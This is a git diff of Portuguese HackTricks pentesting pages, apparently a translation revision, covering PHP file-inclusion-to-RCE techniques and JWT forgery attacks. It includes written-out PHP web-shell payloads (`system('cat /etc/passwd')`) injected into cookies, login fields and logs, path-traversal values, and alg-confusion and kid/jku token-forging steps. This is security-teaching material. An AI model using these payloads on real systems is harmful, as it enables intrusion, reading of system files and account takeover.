Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
## Traversão de Caminho PHP às Cegas
|
||||
|
||||
{% hint style="warning" %}
|
||||
Essa técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é mostrado.
|
||||
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é mostrado.
|
||||
{% endhint %}
|
||||
|
||||
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
|
||||
|
||||
Em resumo, a técnica está usando a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP abrindo** o arquivo irá acionar um **erro**.
|
||||
Em resumo, a técnica está usando a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá acionar um **erro**.
|
||||
|
||||
Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado juntamente com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
|
||||
|
||||
|
@ -501,10 +489,10 @@ Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de in
|
|||
{% hint style="warning" %}
|
||||
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
|
||||
|
||||
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar um erro sempre que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||
{% endhint %}
|
||||
|
||||
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
|
||||
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
|
||||
Outros possíveis caminhos de log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
|
@ -563,7 +551,7 @@ Defina o cookie para `<?php system('cat /etc/passwd');?>`
|
|||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Utilize o LFI para incluir o arquivo de sessão PHP
|
||||
Use o LFI para incluir o arquivo de sessão PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
|
@ -578,7 +566,7 @@ Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_.
|
|||
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
|
||||
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via filtro php base64 (usando base64)
|
||||
### Via php base64 filter (usando base64)
|
||||
|
||||
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para burlar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e acrescenta "php" ao base64. Aqui está um exemplo de payload:
|
||||
```url
|
||||
|
@ -596,7 +584,7 @@ Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
|
|||
|
||||
### Através de falha de segmentação
|
||||
|
||||
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, acione uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo.
|
||||
**Faça upload** de um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição**, provoque uma **falha de segmentação**, e então o **arquivo temporário não será excluído** e você pode procurá-lo.
|
||||
|
||||
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
||||
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
||||
|
@ -604,7 +592,7 @@ Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
|
|||
|
||||
### Através do armazenamento de arquivos temporários do Nginx
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
||||
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
||||
|
||||
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
||||
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
||||
|
@ -612,7 +600,7 @@ Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está rodand
|
|||
|
||||
### Através do PHP\_SESSION\_UPLOAD\_PROGRESS
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
|
||||
Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
|
||||
|
||||
{% content-ref url="via-php_session_upload_progress.md" %}
|
||||
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
||||
|
@ -620,7 +608,7 @@ Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tive
|
|||
|
||||
### Através de uploads de arquivos temporários no Windows
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando no **Windows**, você pode obter RCE:
|
||||
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Windows**, você pode obter RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
||||
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
||||
|
@ -628,7 +616,7 @@ Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando
|
|||
|
||||
### Através do phpinfo() (file\_uploads = on)
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
|
||||
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
|
||||
|
||||
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
||||
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
||||
|
@ -636,7 +624,7 @@ Se você encontrou uma **Inclusão de Arquivo Local** e um arquivo expondo **php
|
|||
|
||||
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
|
||||
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -644,7 +632,7 @@ Se você encontrou uma **Inclusão de Arquivo Local** e você **pode exfiltrar o
|
|||
|
||||
### Através de espera eterna + força bruta
|
||||
|
||||
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, você poderia então **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
|
||||
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -677,7 +665,7 @@ Engaje-se com conteúdo que mergulha na emoção e desafios do hacking
|
|||
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais de plataformas
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -687,10 +675,10 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -14,7 +14,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
|
||||
|
@ -25,42 +25,44 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -
|
|||
|
||||
### **Ganhos Rápidos**
|
||||
|
||||
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `Todos os Testes!` e aguarde as linhas verdes
|
||||
Execute [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) com o modo `All Tests!` e aguarde as linhas verdes
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web não está verificando corretamente o JWT:
|
||||
Se tiver sorte, a ferramenta encontrará algum caso em que a aplicação web esteja verificando incorretamente o JWT:
|
||||
|
||||
![](<../.gitbook/assets/image (935).png>)
|
||||
|
||||
Em seguida, você pode pesquisar a solicitação em seu proxy ou fazer dump do JWT usado para essa solicitação usando a ferramenta jwt\_ :
|
||||
Em seguida, você pode pesquisar a solicitação em seu proxy ou extrair o JWT usado para essa solicitação usando a ferramenta jwt\_:
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
Pode também utilizar a [**Extensão Burp SignSaboteur**](https://github.com/d0ge/sign-saboteur) para lançar ataques JWT a partir do Burp.
|
||||
|
||||
### Manipular dados sem modificar nada
|
||||
|
||||
Você pode simplesmente manipular os dados deixando a assinatura como está e verificar se o servidor está verificando a assinatura. Tente alterar seu nome de usuário para "admin", por exemplo.
|
||||
Pode manipular os dados deixando a assinatura como está e verificar se o servidor está a verificar a assinatura. Tente alterar o seu nome de utilizador para "admin", por exemplo.
|
||||
|
||||
#### **O token é verificado?**
|
||||
#### **O token está a ser verificado?**
|
||||
|
||||
Para verificar se a assinatura de um JWT está sendo verificada:
|
||||
Para verificar se a assinatura de um JWT está a ser verificada:
|
||||
|
||||
* Uma mensagem de erro sugere verificação em andamento; detalhes sensíveis em erros verbosos devem ser revisados.
|
||||
* Uma mudança na página retornada também indica verificação.
|
||||
* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.
|
||||
* Uma mensagem de erro sugere verificação em curso; detalhes sensíveis em erros verbosos devem ser revistos.
|
||||
* Uma alteração na página retornada também indica verificação.
|
||||
* Sem alteração sugere nenhuma verificação; é neste momento que se deve experimentar manipular as reivindicações de carga útil.
|
||||
|
||||
### Origem
|
||||
|
||||
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.
|
||||
É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de pedidos do proxy.
|
||||
|
||||
* Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
|
||||
* Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, necessitando de investigação adicional.
|
||||
* Tokens originados do lado do servidor indicam um processo seguro.
|
||||
|
||||
### Duração
|
||||
|
||||
Verifique se o token dura mais de 24 horas... talvez nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
|
||||
Verifique se o token dura mais de 24h... talvez nunca expire. Se houver um campo "exp", verifique se o servidor está a lidar corretamente com ele.
|
||||
|
||||
### Força bruta no segredo HMAC
|
||||
|
||||
|
@ -68,18 +70,18 @@ Verifique se o token dura mais de 24 horas... talvez nunca expire. Se houver um
|
|||
|
||||
### Modificar o algoritmo para None
|
||||
|
||||
Defina o algoritmo usado como "None" e remova a parte da assinatura.
|
||||
Defina o algoritmo utilizado como "None" e remova a parte da assinatura.
|
||||
|
||||
Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").
|
||||
Utilize a extensão Burp chamada "JSON Web Token" para testar esta vulnerabilidade e alterar diferentes valores dentro do JWT (envie o pedido para o Repeater e na aba "JSON Web Token" pode modificar os valores do token. Pode também selecionar para colocar o valor do campo "Alg" como "None").
|
||||
|
||||
### Alterar o algoritmo de RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
### Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
|
||||
O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.
|
||||
O algoritmo HS256 utiliza a chave secreta para assinar e verificar cada mensagem.\
|
||||
O algoritmo RS256 utiliza a chave privada para assinar a mensagem e utiliza a chave pública para autenticação.
|
||||
|
||||
Se você alterar o algoritmo de RS256 para HS256, o código do back-end usará a chave pública como a chave secreta e então usará o algoritmo HS256 para verificar a assinatura.
|
||||
Se alterar o algoritmo de RS256 para HS256, o código do backend utiliza a chave pública como chave secreta e depois utiliza o algoritmo HS256 para verificar a assinatura.
|
||||
|
||||
Em seguida, usando a chave pública e alterando de RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
|
||||
Assim, ao utilizar a chave pública e alterar de RS256 para HS256, poderíamos criar uma assinatura válida. Pode obter o certificado do servidor web executando o seguinte:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -93,10 +95,10 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\
|
|||
|
||||
### Falsificação de JWKS
|
||||
|
||||
As instruções detalham um método para avaliar a segurança dos tokens JWT, especialmente aqueles que empregam uma declaração de cabeçalho "jku". Essa declaração deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam uma reivindicação de cabeçalho "jku". Essa reivindicação deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.
|
||||
|
||||
* **Avaliando Tokens com Cabeçalho "jku"**:
|
||||
* Verifique a URL da declaração "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||
* Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
|
||||
* Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
|
||||
* **Monitorando a Interação HTTP**:
|
||||
* Observar as solicitações HTTP para a URL especificada indica as tentativas do servidor de buscar chaves a partir do link fornecido.
|
||||
|
@ -110,19 +112,19 @@ python3 jwt_tool.py JWT_AQUI -X s
|
|||
|
||||
### Visão Geral de Problemas com Kid
|
||||
|
||||
Uma declaração de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para verificação da assinatura do token. Essa declaração auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes nos quais múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.
|
||||
|
||||
#### Revelando Chave através de "kid"
|
||||
|
||||
Quando a declaração `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
Quando a reivindicação `kid` está presente no cabeçalho, é aconselhável pesquisar o diretório da web pelo arquivo correspondente ou suas variações. Por exemplo, se `"kid":"chave/12345"` for especificado, os arquivos _/chave/12345_ e _/chave/12345.pem_ devem ser procurados na raiz da web.
|
||||
|
||||
#### Traversing de Caminho com "kid"
|
||||
#### Traversão de Caminho com "kid"
|
||||
|
||||
A declaração `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a flag `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
A reivindicação `kid` também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É viável testar a conectividade ou executar ataques de Solicitação de Servidor-Side Request Forgery (SSRF) alterando o valor `kid` para direcionar arquivos ou serviços específicos. Manipular o JWT para alterar o valor `kid` mantendo a assinatura original pode ser alcançado usando a bandeira `-T` no jwt\_tool, conforme demonstrado abaixo:
|
||||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Ao direcionar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como senha simétrica para a geração do JWT.
|
||||
Ao visar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo `/proc/sys/kernel/randomize_va_space` em sistemas Linux, conhecido por conter o valor **2**, pode ser usado no parâmetro `kid` com **2** como a senha simétrica para a geração do JWT.
|
||||
|
||||
#### Injeção de SQL via "kid"
|
||||
|
||||
|
@ -142,7 +144,7 @@ Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em
|
|||
|
||||
#### jku
|
||||
|
||||
jku significa **URL do Conjunto JWK**.\
|
||||
jku significa **URL do Conjunto de JWK**.\
|
||||
Se o token usar uma reivindicação de **Cabeçalho** "**jku**", **verifique a URL fornecida**. Isso deve apontar para uma URL contendo o arquivo JWKS que contém a Chave Pública para verificar o token. Manipule o token para apontar o valor jku para um serviço da web no qual você possa monitorar o tráfego.
|
||||
|
||||
Primeiro, você precisa criar um novo certificado com novas chaves privadas e públicas.
|
||||
|
@ -164,7 +166,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||
URL X.509. Um URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em formato PEM. O primeiro certificado no conjunto deve ser aquele usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807. A segurança de transporte é necessária para transferir os certificados.
|
||||
|
||||
Tente **alterar este cabeçalho para um URL sob seu controle** e verifique se alguma solicitação é recebida. Nesse caso, você **poderia adulterar o JWT**.
|
||||
|
||||
|
@ -196,7 +198,7 @@ Se o JWT tiver incorporada uma chave pública como no seguinte cenário:
|
|||
|
||||
![](<../.gitbook/assets/image (624).png>)
|
||||
|
||||
Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
|
||||
Utilizando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
|
||||
```bash
|
||||
const NodeRSA = require('node-rsa');
|
||||
const fs = require('fs');
|
||||
|
@ -241,9 +243,9 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001
|
|||
|
||||
**Ataques de Revezamento entre Serviços**
|
||||
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se é aceito.
|
||||
Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se ele é aceito.
|
||||
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.
|
||||
* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área cinzenta legal.
|
||||
|
||||
**Verificação de Expiração de Tokens**
|
||||
|
||||
|
@ -255,9 +257,9 @@ A expiração do token é verificada usando a reivindicação de Payload "exp".
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -270,7 +272,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
76
pentesting-web/uuid-insecurities.md
Normal file
76
pentesting-web/uuid-insecurities.md
Normal file
|
@ -0,0 +1,76 @@
|
|||
# Inseguranças de UUID
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
